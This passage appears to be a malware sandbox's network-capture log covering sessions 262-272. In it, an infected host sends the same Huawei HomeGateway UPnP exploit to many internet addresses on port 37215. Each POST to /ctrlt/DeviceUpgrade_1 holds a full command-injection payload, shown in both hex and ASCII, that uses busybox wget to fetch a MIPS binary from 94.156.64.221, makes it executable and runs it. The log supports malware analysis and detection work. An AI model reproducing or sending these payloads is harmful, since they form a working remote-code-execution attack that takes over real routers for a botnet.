2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
262	192.168.2.23	60378	156.88.210.161	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.254488945 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
263	192.168.2.23	49572	197.229.155.141	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.254528999 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
264	192.168.2.23	54026	197.236.203.121	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.254585981 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
265	192.168.2.23	38622	197.213.9.188	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.254666090 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
266	192.168.2.23	45572	41.109.78.181	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.254746914 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
267	192.168.2.23	36170	156.47.174.21	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.254785061 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
268	192.168.2.23	38566	41.5.46.180	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.254817963 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
269	192.168.2.23	47606	197.110.203.35	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.254853010 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
270	192.168.2.23	60608	41.55.10.217	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.254889965 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
271	192.168.2.23	46710	197.109.223.59	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.254926920 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
272	192.168.2.23	56050	156.13.177.93	37215

Timestamp	Bytes transferred	Direction	Data
